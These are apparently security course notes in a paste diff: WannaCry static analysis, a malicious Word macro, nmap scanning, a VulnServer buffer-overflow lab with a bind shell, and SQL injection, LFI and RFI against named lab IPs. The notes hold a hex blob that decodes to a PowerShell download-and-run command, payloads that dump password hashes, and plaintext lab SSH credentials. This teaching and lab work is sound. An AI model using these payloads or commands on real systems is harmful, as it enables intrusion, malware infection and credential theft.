View difference between Paste ID: xLc1u7EE and kJc1yz14
SHOW: | | - or go back to the newest paste.
1
##############################################################################
2-
# Offensive/Defensive Cyber   (New ECSA 2019)       #
2+
# Offensive/Defensive Cyber   (God help me do something else other than RMF #
3-
# By Joe McCray                                     #
3+
# By Joe McCray                                                             #
4
#############################################################################
5
6
7
8
9
10
###########################
11
# Where can I learn Linux #
12
###########################
13
- Here is a good set of slides for getting started with Linux:
14
http://www.slideshare.net/olafusimichael/linux-training-24086319
15
 
16
 
17
- Here is a good tutorial that you should complete before doing the labs below:
18
http://linuxsurvival.com/linux-tutorial-introduction/
19
 
20
 
21
- I prefer to use Putty to SSH into my Linux host.
22
- You can download Putty from here:
23-
username:           ecsa
23+
24-
password:           GermanyNewYork!#         
24+
25
Here is the information to put into putty
26
 
27
Host Name:          107.191.39.106
28
protocol:           ssh
29
port:               22
30
username:           godhelpme
31-
mkdir static_analysis
31+
password:           iHateRMF!#         
32
 
33-
cd static_analysis
33+
34
35
36
---------------------------Type This-----------------------------------
37
38
cd ~/static_analysis
39
 
40
wget http://45.63.104.73/wannacry.zip
41
 
42-
mv wannacry.exe malware.pdf
42+
43
     infected
44
 
45
file wannacry.exe
46-
mv malware.pdf wannacry.exe
46+
47
cp wannacry.exe malware.pdf
48
 
49
file malware.pdf
50
 
51
hexdump -n 2 -C wannacry.exe
52
 
53
----------------------------------------------------------------------
54
 
55
 
56
***What is '4d 5a' or 'MZ'***
57
-------------------------Paste this URL into Firefox-----------------------------------
58
http://www.garykessler.net/library/file_sigs.html
59
--------------------------------------------------------------------------------------- 
60
 
61
 
62
 
63
---------------------------Type This-----------------------------------
64
objdump -x wannacry.exe
65
 
66
strings wannacry.exe
67
 
68
strings wannacry.exe | grep -i dll
69
 
70
strings wannacry.exe | grep -i library
71
 
72
strings wannacry.exe | grep -i reg
73
 
74
strings wannacry.exe | grep -i key
75
 
76
strings wannacry.exe | grep -i rsa
77
 
78
strings wannacry.exe | grep -i open
79
 
80
strings wannacry.exe | grep -i get
81
 
82
strings wannacry.exe | grep -i mutex
83
 
84
strings wannacry.exe | grep -i irc
85
 
86
strings wannacry.exe | grep -i join        
87
 
88
strings wannacry.exe | grep -i admin
89
 
90
strings wannacry.exe | grep -i list
91
----------------------------------------------------------------------
92
 
93
 
94
 
95
 
96
 
97
---------------------------Type This-----------------------------------
98
pe info wannacry.exe
99
pe check wannacry.exe
100
pe dump --section text wannacry.exe
101
pe dump --section data wannacry.exe
102
pe dump --section rsrc wannacry.exe
103
pe dump --section reloc wannacry.exe
104
strings rdata | less
105
strings rsrc | less
106
strings text | less
107
----------------------------------------------------------------------
108
 
109
 
110
 
111
 
112
 
113
 
114
 
115
 
116
Hmmmmm.......what's the latest thing in the news - oh yeah "WannaCry"
117
 
118
Quick Google search for "wannacry ransomeware analysis"
119
 
120
 
121
Reference
122
https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/
123
 
124
- Yara Rule -
125
 
126
 
127
Strings:
128
$s1 = “Ooops, your files have been encrypted!” wide ascii nocase
129
$s2 = “Wanna Decryptor” wide ascii nocase
130
$s3 = “.wcry” wide ascii nocase
131
$s4 = “WANNACRY” wide ascii nocase
132
$s5 = “WANACRY!” wide ascii nocase
133
$s7 = “icacls . /grant Everyone:F /T /C /Q” wide ascii nocase
134
 
135
 
136
 
137
 
138
 
139
 
140
 
141
Ok, let's look for the individual strings
142
 
143
 
144
---------------------------Type This-----------------------------------
145
strings wannacry.exe | grep -i ooops
146
 
147
strings wannacry.exe | grep -i wanna
148
 
149
strings wannacry.exe | grep -i wcry
150
 
151
strings wannacry.exe | grep -i wannacry
152
 
153
strings wannacry.exe | grep -i wanacry          **** Matches $s5, hmmm.....
154
----------------------------------------------------------------------
155
 
156
 
157
 
158
 
159
 
160
####################################
161
# Tired of GREP - let's try Python #
162
####################################
163
Decided to make my own script for this kind of stuff in the future. I
164
 
165
Reference1:
166
http://45.63.104.73/analyse_malware.py
167
 
168
This is a really good script for the basics of static analysis
169
 
170
Reference:
171
https://joesecurity.org/reports/report-db349b97c37d22f5ea1d1841e3c89eb4.html
172
 
173
 
174
This is really good for showing some good signatures to add to the Python script
175
 
176
 
177
Here is my own script using the signatures (started this yesterday, but still needs work):
178
https://pastebin.com/guxzCBmP
179
 
180
 
181
 
182
---------------------------Type This-----------------------------------
183
wget https://pastebin.com/raw/guxzCBmP
184
 
185
 
186
mv guxzCBmP am.py
187
 
188
 
189
nano am.py
190
 
191
python2.7 am.py wannacry.exe
192
----------------------------------------------------------------------
193
 
194
 
195
 
196
##############
197
# Yara Ninja #
198
##############
199
 
200
Reference:
201
https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/
202
 
203
----------------------------------------------------------------------------
204
rule wannacry_1 : ransom
205
{
206
    meta:
207
        author = "Joshua Cannell"
208
        description = "WannaCry Ransomware strings"
209
        weight = 100
210
        date = "2017-05-12"
211
 
212
    strings:
213
        $s1 = "Ooops, your files have been encrypted!" wide ascii nocase
214
        $s2 = "Wanna Decryptor" wide ascii nocase
215
        $s3 = ".wcry" wide ascii nocase
216
        $s4 = "WANNACRY" wide ascii nocase
217
        $s5 = "WANACRY!" wide ascii nocase
218
        $s7 = "icacls . /grant Everyone:F /T /C /Q" wide ascii nocase
219
 
220
    condition:
221
        any of them
222
}
223
 
224
----------------------------------------------------------------------------
225
rule wannacry_2{
226
    meta:
227
        author = "Harold Ogden"
228
        description = "WannaCry Ransomware Strings"
229
        date = "2017-05-12"
230
        weight = 100
231
 
232
    strings:
233
        $string1 = "msg/m_bulgarian.wnry"
234
        $string2 = "msg/m_chinese (simplified).wnry"
235
        $string3 = "msg/m_chinese (traditional).wnry"
236
        $string4 = "msg/m_croatian.wnry"
237
        $string5 = "msg/m_czech.wnry"
238
        $string6 = "msg/m_danish.wnry"
239
        $string7 = "msg/m_dutch.wnry"
240
        $string8 = "msg/m_english.wnry"
241
        $string9 = "msg/m_filipino.wnry"
242
        $string10 = "msg/m_finnish.wnry"
243
        $string11 = "msg/m_french.wnry"
244
        $string12 = "msg/m_german.wnry"
245
        $string13 = "msg/m_greek.wnry"
246
        $string14 = "msg/m_indonesian.wnry"
247
        $string15 = "msg/m_italian.wnry"
248
        $string16 = "msg/m_japanese.wnry"
249
        $string17 = "msg/m_korean.wnry"
250
        $string18 = "msg/m_latvian.wnry"
251
        $string19 = "msg/m_norwegian.wnry"
252
        $string20 = "msg/m_polish.wnry"
253
        $string21 = "msg/m_portuguese.wnry"
254
        $string22 = "msg/m_romanian.wnry"
255
        $string23 = "msg/m_russian.wnry"
256
        $string24 = "msg/m_slovak.wnry"
257
        $string25 = "msg/m_spanish.wnry"
258
        $string26 = "msg/m_swedish.wnry"
259
        $string27 = "msg/m_turkish.wnry"
260
        $string28 = "msg/m_vietnamese.wnry"
261
 
262
 
263
    condition:
264
        any of ($string*)
265
}
266
----------------------------------------------------------------------------
267
 
268
 
269
 
270
 
271
 
272
 
273
 
274
#####################################################
275
# Analyzing Macro Embedded Malware                  #
276
#####################################################
277
---------------------------Type This-----------------------------------
278
mkdir ~/oledump
279
 
280
cd ~/oledump
281
 
282
wget http://didierstevens.com/files/software/oledump_V0_0_22.zip
283
 
284
unzip oledump_V0_0_22.zip
285
 
286
wget http://45.63.104.73/064016.zip
287
 
288
unzip 064016.zip
289
     infected
290
 
291
python oledump.py 064016.doc
292
 
293
python oledump.py 064016.doc -s A4 -v
294
 -----------------------------------------------------------------------
295
 
296
 
297
 
298
- From this we can see this Word doc contains an embedded file called editdata.mso which contains seven data streams.
299
- Three of the data streams are flagged as macros: A3:’VBA/Module1′, A4:’VBA/Module2′, A5:’VBA/ThisDocument’.
300
 
301
---------------------------Type This-----------------------------------
302
python oledump.py 064016.doc -s A5 -v
303
-----------------------------------------------------------------------
304
 
305
- As far as I can tell, VBA/Module2 does absolutely nothing. These are nonsensical functions designed to confuse heuristic scanners.
306
 
307
---------------------------Type This-----------------------------------
308
python oledump.py 064016.doc -s A3 -v
309
 
310
- Look for "GVhkjbjv" and you should see:
311
 
312
636D64202F4B20706F7765727368656C6C2E657865202D457865637574696F6E506F6C69637920627970617373202D6E6F70726F66696C6520284E65772D4F626A6563742053797374656D2E4E65742E576562436C69656E74292E446F776E6C6F616446696C652827687474703A2F2F36322E37362E34312E31352F6173616C742F617373612E657865272C272554454D50255C4A494F696F646668696F49482E63616227293B20657870616E64202554454D50255C4A494F696F646668696F49482E636162202554454D50255C4A494F696F646668696F49482E6578653B207374617274202554454D50255C4A494F696F646668696F49482E6578653B
313
 
314
- Take that long blob that starts with 636D and finishes with 653B and paste it in:
315
http://www.rapidtables.com/convert/number/hex-to-ascii.htm
316
-----------------------------------------------------------------------
317
318
319
320
Step 1: Download Nmap
321
--------------------
322
Windows: https://nmap.org/dist/nmap-7.70-setup.exe
323
Mac OS X: https://nmap.org/dist/nmap-7.70.dmg
324
 
325
Linux:
326
--- Fedora/CentOS/RHEL:    sudo yum install -y nmap
327
--- Ubuntu/Mint/Debian:    sudo apt-get install -y nmap
328
 
329
 
330
 
331
########################
332
# Scanning Methodology #
333
########################
334
 
335
- Ping Sweep
336
What's alive?
337
------------
338
Note: On windows you won't need to use the word "sudo" in front of the command below:
339
 
340
---------------------------On Linux or Mac OS X type This-----------------------------------
341
sudo nmap -sP 157.166.226.*
342
 
343
---------------------------or on Windows type:---------------------------------------------
344
c:\nmap -sP 157.166.226.*
345
 
346
--------------------------------------------------------------------------------------------
347
 
348
 
349
 
350
    -if -SP yields no results try:
351
Note: On windows you won't need to use the word "sudo" in front of the command below:
352
---------------------------On Linux or Mac OS X type This-----------------------------------
353
sudo nmap -sL 157.166.226.*
354
 
355
---------------------------or on Windows type:---------------------------------------------
356
c:\nmap -sL 157.166.226.*
357
 
358
------------------------------------------------------------------------------------------
359
 
360
 
361
 
362
    -Look for hostnames:
363
Note: On windows you won't need to use the word "sudo" in front of the command below:
364
---------------------------On Linux or Mac OS X type This-----------------------------------
365
sudo nmap -sL 157.166.226.* | grep com
366
 
367
---------------------------or on Windows type:---------------------------------------------
368
c:\nmap -sP 157.166.226.* | findstr "cnn"
369
 
370
-------------------------------------------------------------------------------------------
371
 
372
 
373
 
374
- Port Scan
375
What's where?
376
------------
377
Note: On windows you won't need to use the word "sudo" in front of the command below:
378
---------------------------On Linux or Mac OS X type This-----------------------------------
379
sudo nmap -sS 162.243.126.247
380
 
381
---------------------------or on Windows type:----------------------------------------------
382
c:\nmap -sS 162.243.126.247
383
 
384
--------------------------------------------------------------------------------------------
385
 
386
 
387
 
388
- Bannergrab/Version Query
389
What versions of software are running
390
-------------------------------------
391
Note: On windows you won't need to use the word "sudo" in front of the command below:
392
---------------------------On Linux or Mac OS X type This-----------------------------------
393
sudo nmap -sV 162.243.126.247
394
 
395
---------------------------or on Windows type:---------------------------------------------
396
c:\nmap -sV 162.243.126.247
397
-------------------------------------------------------------------------------------------
398
 
399
 
400
 
401
Let's dig into this a little bit more:
402
-------------------------------------
403
Note: On windows you won't need to use the word "sudo" in front of the command below:
404
---------------------------On Linux or Mac OS X type This-----------------------------------
405
sudo nmap -sV --script=http-headers 162.243.126.247 -p 80,443
406
 
407
---------------------------or on Windows type:---------------------------------------------
408
c:\nmap -sV --script=http-headers 162.243.126.247 -p 80,443
409
-------------------------------------------------------------------------------------------
410
 
411
 
412
 
413
- Vulnerability Research
414
Lookup the banner versions for public exploits
415
----------------------------------------------
416
http://exploit-db.com
417
http://securityfocus.com/bid
418
https://packetstormsecurity.com/files/tags/exploit/
419
 
420
---------------------------------------------------------------------------------------------------------------------------------
421
422
423
424
Network Penetration Testing Process (known vulnerabilities)
425
-----------------------------------------------------------
426
 
427
 
428
1. Ping Sweep:
429
The purpose of this step is to identify live hosts
430
 
431
    nmap -sP <ip-address/ip-range>
432
 
433
 
434
2. Port Scan
435
Identify running services. We use the running services to map the network topology.
436
 
437
    nmap -sS <ip-address/ip-range>
438
 
439
 
440
3. Bannergrab
441
Identify the version of version of software running on each port
442
 
443
    nmap -sV <ip-address/ip-range>
444
   
445
 
446
 
447
4. Vulnerability Research
448
Use the software version number to research and determine if it is out of date (vulnerable).
449
 
450
    exploit-db.com/search
451
 
452
 
453
 
454
 
455
 
456
 
457
 
458
 
459
 
460
Skill Level 1. Run the scanners
461
-------------------------------
462
    Nexpose
463
    Qualys
464
    Retina
465
    Nessus              known vulnerabilities
466
    OpenVas
467
    Foundscan
468
    GFI LanGuard
469
    NCircle
470
 
471
 
472
Skill Level 2. Manual vulnerability validation (known vulnerabilities)
473
-----------------------------------------------------------------------
474
 
475
    windows ->  systeminfo
476
    Linux->     dpkg -l
477
            rpm -qa
478
 
479
 
480
 
481
 
482
 
483
 
484
 
485
#####################################
486
# Quick Stack Based Buffer Overflow #
487
#####################################
488
 
489
- You can download everything you need for this exercise from the links below (copy nc.exe into the c:\windows\system32 directory)
490
http://45.63.104.73/ExploitLab.zip
491
 
492
 
493
- Extract the ExploitLab.zip file to your Desktop
494
 
495
- Go to folder on your desktop ExploitLab\2-VulnServer, and run vulnserv.exe
496
 
497
498
499
- Open a new command prompt and type:
500
 
501
---------------------------Type This-----------------------------------
502
nc localhost 9999
503
--------------------------------------------------------------------------
504
505
If you don't have netcat you can download it from here:
506
http://45.63.104.73/nc-password-is-netcat.zip
507
508
The file nc.zip is password protected (password is 'password'), you'll have to exclude it from your anti-virus and either add it to your PATH, or copy it to your c:\Windows\System32\ folder.
509
510
 
511
- In the new command prompt window where you ran nc type:
512
HELP
513
 
514
- Go to folder C:\Users\student\Desktop\ExploitLab\4-AttackScripts
515
- Right-click on 1-simplefuzzer.py and choose the option edit with notepad++
516
 
517
- Now double-click on 1-simplefuzzer.py
518
- You'll notice that vulnserv.exe crashes. Be sure to note what command and the number of As it crashed on.
519
 
520
 
521
- Restart vulnserv, and run 1-simplefuzzer.py again. Be sure to note what command and the number of As it crashed on.
522
 
523
- Now go to folder C:\Users\student\Desktop\ExploitLab\3-OllyDBG and start OllyDBG. Choose 'File' -> 'Attach' and attach to process vulnserv.exe
524
 
525
- Go back to folder C:\Users\student\Desktop\ExploitLab\4-AttackScripts and double-click on 1-simplefuzzer.py.
526
 
527
- Take note of the registers (EAX, ESP, EBP, EIP) that have been overwritten with As (41s).
528
 
529
- Now isolate the crash by restarting your debugger and running script 2-3000chars.py
530
 
531
- Calculate the distance to EIP by running script 3-3000chars.py
532
- This script sends 3000 nonrepeating chars to vulserv.exe and populates EIP with the value: 396F4338
533
 
534
4-count-chars-to-EIP.py
535
- In the previous script we see that EIP is overwritten with 396F4338 is 8 (38), C (43), o (6F), 9 (39)
536
- so we search for 8Co9 in the string of nonrepeating chars and count the distance to it
537
 
538
5-2006char-eip-check.py
539
- In this script we check to see if our math is correct in our calculation of the distance to EIP by overwriting EIP with 42424242
540
 
541
6-jmp-esp.py
542
- In this script we overwrite EIP with a JMP ESP (6250AF11) inside of essfunc.dll
543
 
544
7-first-exploit
545
- In this script we actually do the stack overflow and launch a bind shell on port 4444
546
 
547
8 - Take a look at the file vulnserv.rb and place it in your Ubuntu host via SCP or copy it and paste the code into the host.
548
 
549
 
550
------------------------------
551
 
552
 
553
 
554
Skill Level 3. Identify unknown vulnerabilities
555
-----------------------------------------------
556
 
557
- App Type
558
------------
559
    Stand Alone             Client Server               Web App
560
 
561
                        ***(vulnerserver.exe)***
562
 
563
 
564
- Input TYpe
565
-------------
566
    FIle                    logical network port            Browser
567
    Keyboard
568
    Mouse
569
 
570
 
571
 
572
                        ***(9999)***
573
 
574
 
575
- Map & Fuzz app entry points:
576
------------------------------
577
    - Commands              ***(commands)***
578
    - Methods
579
    - Verbs
580
    - functions
581
    - subroutines
582
    - controllers
583
 
584
 
585
- Isolate the crash
586
-------------------
587
App seems to reliably crash at TRUN 2100
588
 
589
 
590
- Calculate the distance to EIP
591
-------------------------------
592
Distance to EIP is 2006
593
 
594
We found that EIP was populated with the value: 396F4338
595
396F4338 is 8 (38), C (43), o (6F), 9 (39) so we search for 8Co9 in the non_repeating pattern
596
 
597
An online tool that we can use for this is:
598
https://zerosum0x0.blogspot.com/2016/11/overflow-exploit-pattern-generator.html
599
 
600
 
601
 
602
- Redirect Program Execution
603
----------------------------
604
A 3rd party dll named essfunc.dll seems to be the best candidate for the 'JMP ESP' instruction.
605
We learned that we control EAX and ESP in script 2.
606
 
607
 
608
 
609
 
610
 
611
- Implement Shellcode
612
---------------------
613
There are only 2 things that can go wrong with shellcode:
614
- Not enough space
615
- Bad characters
616
 
617
 
618
 
619
 
620
 
621
 
622
#########################################
623
# FreeFloat FTP Server Exploit Analysis #
624
#########################################
625
 
626
 
627
 
628
Analyze the following exploit code:
629
https://www.exploit-db.com/exploits/15689/
630
 
631
1. What is the target platform that this exploit works against?
632
2. What is the variable name for the distance to EIP?
633
3. What is the actual distance to EIP in bytes?
634
4. Describe what is happening in the variable ‘junk2’
635
 
636
 
637
 
638
 
639
Analysis of the training walk-through based on EID: 15689:
640
http://45.63.104.73/ff.zip
641
 
642
 
643
 
644
 
645
ff1.py
646
1. What does the sys module do?
647
2. What is sys.argv[1] and sys.argv[2]?
648
3. What application entry point is being attacked in this script?
649
 
650
 
651
 
652
ff2.py
653
1. Explain what is happening in lines 18 - 20 doing.
654
2. What is pattern_create.rb doing and where can I find it?
655
3. Why can’t I just double click the file to run this script?
656
 
657
 
658
 
659
ff3.py
660
1. Explain what is happening in lines 17 - to 25?
661
2. Explain what is happening in lines 30 - to 32?
662
3. Why is everything below line 35 commented out?
663
 
664
 
665
 
666
ff4.py
667
1. Explain what is happening in lines 13 to 15.
668
2. Explain what is happening in line 19.
669
3. What is the total length of buff?
670
 
671
 
672
 
673
ff5.py
674
1. Explain what is happening in line 15.
675
2. What is struct.pack?
676
3. How big is the shellcode in this script?
677
 
678
 
679
 
680
ff6.py
681
1. What is the distance to EIP?
682
2. How big is the shellcode in this script?
683
3. What is the total byte length of the data being sent to this app?
684
 
685
 
686
 
687
 
688
ff7.py
689
1. What is a tuple in python?
690
2. How big is the shellcode in this script?
691
3. Did your app crash in from this script?
692
 
693
 
694
 
695
 
696
ff8.py
697
1. How big is the shellcode in this script?
698
2. What is try/except in python?
699
3. What is socket.SOCK_STREAM in Python?
700
 
701
 
702
 
703
ff9.py
704
1. What is going on in lines 19 and 20?
705
2. What is the length of the NOPs?
706
3. From what DLL did the address of the JMP ESP come from?
707
 
708
 
709
 
710
 
711
ff010.py
712
1. What is going on in lines 18 - 20?
713
2. What is going on in lines 29 - 32?
714
3. How would a stack adjustment help this script?
715
716
##################################
717
# Basic: Web Application Testing #
718
##################################
719
 
720
Most people are going to tell you reference the OWASP Testing guide.
721
https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents
722
 
723
I'm not a fan of it for the purpose of actual testing. It's good for defining the scope of an assessment, and defining attacks, but not very good for actually attacking a website.
724
 
725
 
726
The key to doing a Web App Assessment is to ask yourself the 3 web questions on every page in the site.
727
   
728
    1. Does the website talk to a DB?
729
        - Look for parameter passing (ex: site.com/page.php?id=4)
730
        - If yes - try SQL Injection
731
 
732
    2. Can I or someone else see what I type?
733
        - If yes - try XSS
734
 
735
    3. Does the page reference a file?
736
        - If yes - try LFI/RFI
737
 
738
Let's start with some manual testing against 45.63.104.73
739
 
740
 
741
#######################
742
# Attacking PHP/MySQL #
743
#######################
744
 
745
Go to LAMP Target homepage
746
http://45.63.104.73/
747
 
748
 
749
 
750
Clicking on the Acer Link:
751
http://45.63.104.73/acre2.php?lap=acer
752
 
753
   - Found parameter passing (answer yes to question 1)
754
   - Insert ' to test for SQLI
755
 
756
---------------------------Type This-----------------------------------
757
 
758
http://45.63.104.73/acre2.php?lap=acer'
759
 
760
-----------------------------------------------------------------------
761
 
762
Page returns the following error:
763
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''acer''' at line 1
764
 
765
 
766
 
767
In order to perform union-based sql injection - we must first determine the number of columns in this query.
768
We do this using the ORDER BY
769
 
770
---------------------------Type This-----------------------------------
771
 
772
http://45.63.104.73/acre2.php?lap=acer' order by 100-- +
773
-----------------------------------------------------------------------
774
 
775
Page returns the following error:
776
Unknown column '100' in 'order clause'
777
 
778
 
779
---------------------------Type This-----------------------------------
780
 
781
http://45.63.104.73/acre2.php?lap=acer' order by 50-- +
782
-----------------------------------------------------------------------
783
 
784
Page returns the following error:
785
Unknown column '50' in 'order clause'
786
 
787
 
788
---------------------------Type This-----------------------------------
789
 
790
http://45.63.104.73/acre2.php?lap=acer' order by 25-- +
791
-----------------------------------------------------------------------
792
 
793
Page returns the following error:
794
Unknown column '25' in 'order clause'
795
 
796
 
797
---------------------------Type This-----------------------------------
798
 
799
http://45.63.104.73/acre2.php?lap=acer' order by 12-- +
800
-----------------------------------------------------------------------
801
 
802
Page returns the following error:
803
Unknown column '12' in 'order clause'
804
 
805
 
806
---------------------------Type This-----------------------------------
807
 
808
http://45.63.104.73/acre2.php?lap=acer' order by 6-- +
809
-----------------------------------------------------------------------
810
 
811
---Valid page returned for 5 and 6...error on 7 so we know there are 6 columns
812
 
813
 
814
 
815
Now we build out the union all select statement with the correct number of columns
816
 
817
Reference:
818
http://www.techonthenet.com/sql/union.php
819
 
820
 
821
---------------------------Type This-----------------------------------
822
 
823
http://45.63.104.73/acre2.php?lap=acer' union all select 1,2,3,4,5,6-- +
824
-----------------------------------------------------------------------
825
 
826
 
827
 
828
Now we negate the parameter value 'acer' by turning into the word 'null':
829
---------------------------Type This-----------------------------------
830
 
831
http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,4,5,6-- j
832
-----------------------------------------------------------------------
833
 
834
We see that a 4 and a 5 are on the screen. These are the columns that will echo back data
835
 
836
 
837
Use a cheat sheet for syntax:
838
http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
839
 
840
---------------------------Type This-----------------------------------
841
 
842
http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),5,6-- j
843
 
844
http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),version(),6-- j
845
 
846
http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),@@version,6-- +
847
 
848
http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),@@datadir,6-- +
849
 
850
 
851
http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user,password,6 from mysql.user -- a
852
 
853
-----------------------------------------------------------------------
854
 
855
 
856
 
857
########################
858
# Question I get a lot #
859
########################
860
Sometimes students ask about the "-- j" or "-- +" that I append to SQL injection attack string.
861
 
862
Here is a good reference for it:
863
https://www.symantec.com/connect/blogs/mysql-injection-comments-comments
864
 
865
Both attackers and penetration testers alike often forget that MySQL comments deviate from the standard ANSI SQL specification. The double-dash comment syntax was first supported in MySQL 3.23.3. However, in MySQL a double-dash comment "requires the second dash to be followed by at least one whitespace or control character (such as a space, tab, newline, and so on)." This double-dash comment syntax deviation is intended to prevent complications that might arise from the subtraction of negative numbers within SQL queries. Therefore, the classic SQL injection exploit string will not work against backend MySQL databases because the double-dash will be immediately followed by a terminating single quote appended by the web application. However, in most cases a trailing space needs to be appended to the classic SQL exploit string. For the sake of clarity we'll append a trailing space and either a "+" or a letter.
866
 
867
 
868
 
869
 
870
#########################
871
# File Handling Attacks #
872
#########################
873
 
874
Here we see parameter passing, but this one is actually a yes to question number 3 (reference a file)
875
 
876
---------------------------Type This-----------------------------------
877
 
878
http://45.63.104.73/showfile.php?filename=about.txt
879
 
880
-----------------------------------------------------------------------
881
 
882
 
883
See if you can read files on the file system:
884
---------------------------Type This-----------------------------------
885
 
886
http://45.63.104.73/showfile.php?filename=/etc/passwd
887
-----------------------------------------------------------------------
888
 
889
We call this attack a Local File Include or LFI.
890
 
891
Now let's find some text out on the internet somewhere:
892
https://www.gnu.org/software/hello/manual/hello.txt
893
 
894
 
895
Now let's append that URL to our LFI and instead of it being Local - it is now a Remote File Include or RFI:
896
 
897
---------------------------Type This-----------------------------------
898
 
899
http://45.63.104.73/showfile.php?filename=https://www.gnu.org/software/hello/manual/hello.txt
900
-----------------------------------------------------------------------
901
 
902
#########################################################################################
903
# SQL Injection                                                                         #
904
# http://45.63.104.73/1-Intro_To_SQL_Intection.pptx #
905
#########################################################################################
906
 
907
 
908
- Another quick way to test for SQLI is to remove the paramter value
909
 
910
 
911
#############################
912
# Error-Based SQL Injection #
913
#############################
914
---------------------------Type This-----------------------------------
915
 
916
http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))--
917
http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))--
918
http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))--
919
http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))--
920
http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))--
921
http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))--     NOTE: "N" - just means to keep going until you run out of databases
922
http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85))--
923
http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'bookmaster')--
924
http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'sysdiagrams')--
925
 
926
-----------------------------------------------------------------------
927
 
928
 
929
 
930
#############################
931
# Union-Based SQL Injection #
932
#############################
933
 
934
---------------------------Type This-----------------------------------
935
 
936
http://45.77.162.239/bookdetail.aspx?id=2 order by 100--
937
http://45.77.162.239/bookdetail.aspx?id=2 order by 50--
938
http://45.77.162.239/bookdetail.aspx?id=2 order by 25--
939
http://45.77.162.239/bookdetail.aspx?id=2 order by 10--
940
http://45.77.162.239/bookdetail.aspx?id=2 order by 5--
941
http://45.77.162.239/bookdetail.aspx?id=2 order by 6--
942
http://45.77.162.239/bookdetail.aspx?id=2 order by 7--
943
http://45.77.162.239/bookdetail.aspx?id=2 order by 8--
944
http://45.77.162.239/bookdetail.aspx?id=2 order by 9--
945
http://45.77.162.239/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9--
946
-----------------------------------------------------------------------
947
 
948
   We are using a union select statement because we are joining the developer's query with one of our own.
949
   Reference:
950
   http://www.techonthenet.com/sql/union.php
951
   The SQL UNION operator is used to combine the result sets of 2 or more SELECT statements.
952
   It removes duplicate rows between the various SELECT statements.
953
 
954
   Each SELECT statement within the UNION must have the same number of fields in the result sets with similar data types.
955
 
956
---------------------------Type This-----------------------------------
957
 
958
http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9--
959
-----------------------------------------------------------------------
960
 
961
   Negating the paramter value (changing the id=2 to id=-2) will force the pages that will echo back data to be displayed.
962
 
963
---------------------------Type This-----------------------------------
964
 
965
http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9--
966
http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,7,8,9--
967
http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,db_name(0),8,9--
968
http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,master.sys.fn_varbintohexstr(password_hash),8,9 from master.sys.sql_logins--
969
 
970
-----------------------------------------------------------------------
971
 
972
 
973
 
974
 
975
- Another way is to see if you can get the backend to perform an arithmetic function
976
 
977
---------------------------Type This-----------------------------------
978
 
979
http://45.77.162.239/bookdetail.aspx?id=(2)
980
http://45.77.162.239/bookdetail.aspx?id=(4-2)  
981
http://45.77.162.239/bookdetail.aspx?id=(4-1)
982
 
983
 
984
 
985
http://45.77.162.239/bookdetail.aspx?id=2 or 1=1--
986
http://45.77.162.239/bookdetail.aspx?id=2 or 1=2--
987
http://45.77.162.239/bookdetail.aspx?id=1*1
988
http://45.77.162.239/bookdetail.aspx?id=2 or 1 >-1#
989
http://45.77.162.239/bookdetail.aspx?id=2 or 1<99#
990
http://45.77.162.239/bookdetail.aspx?id=2 or 1<>1#
991
http://45.77.162.239/bookdetail.aspx?id=2 or 2 != 3--
992
http://45.77.162.239/bookdetail.aspx?id=2 &0#
993
 
994
 
995
 
996
http://45.77.162.239/bookdetail.aspx?id=2 and 1=1--
997
http://45.77.162.239/bookdetail.aspx?id=2 and 1=2--
998
http://45.77.162.239/bookdetail.aspx?id=2 and user='joe' and 1=1--
999
http://45.77.162.239/bookdetail.aspx?id=2 and user='dbo' and 1=1--
1000
 
1001
-----------------------------------------------------------------------
1002
 
1003
 
1004
###############################
1005
# Blind SQL Injection Testing #
1006
###############################
1007
Time-Based BLIND SQL INJECTION - EXTRACT DATABASE USER
1008
   
1009
3 - Total Characters
1010
---------------------------Type This-----------------------------------
1011
 
1012
http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
1013
http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
1014
http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'--      (Ok, the username is 3 chars long - it waited 10 seconds)
1015
-----------------------------------------------------------------------
1016
 
1017
Let's go for a quick check to see if it's DBO
1018
 
1019
---------------------------Type This-----------------------------------
1020
 
1021
http://45.77.162.239/bookdetail.aspx?id=2; IF ((USER)='dbo') WAITFOR DELAY '00:00:10'--
1022
-----------------------------------------------------------------------
1023
 
1024
